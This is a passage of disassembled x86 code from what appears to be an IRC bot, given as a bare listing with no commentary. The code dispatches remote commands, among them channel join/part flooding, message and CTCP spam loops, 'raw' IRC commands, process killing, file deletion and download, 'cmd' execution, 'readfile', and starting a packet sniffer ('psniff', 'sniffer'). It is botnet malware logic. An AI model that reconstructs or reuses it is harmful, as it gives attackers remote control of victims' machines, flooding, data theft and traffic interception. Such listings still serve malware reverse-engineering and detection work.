		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B948
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h

loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B944
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDD0 ; " "
		push	offset dword_42B940
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B930
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h

loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B92C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDD0 ; " "
		push	offset dword_42B940
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B918
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h

loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDD0 ; " "
		push	offset dword_42B940
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h

loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDD0 ; " "
		push	offset dword_42B940
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h

loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h

loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h

loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h

loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		nop
		call	near ptr 26A0861h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B8A8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h

loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B894
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 2680F3Dh
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	near ptr 2680F3Dh
		nop
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680F3Dh
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h

loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B890
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		nop
		call	near ptr 26A0861h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B868
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h

loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680F3Dh
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680F3Dh
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h

loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h

loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B930
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680F3Dh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B930
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680F3Dh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B930
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h

loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 2680F3Dh
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680F3Dh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h

loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B820
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680F3Dh
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B808
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 2680F3Dh
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 2680F3Dh
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h

loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B820
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 2680F3Dh
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680F3Dh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 2680F3Dh
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h

loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h

loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4A6C

loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBA7C

loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB18C
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B790
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------

loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B694
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]

loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B664
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B61
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_405C56

loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_405C40
; ---------------------------------------------------------------------------

loc_405C56:				; CODE XREF: sub_401ACD+4171j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset dword_42B628
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B598
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
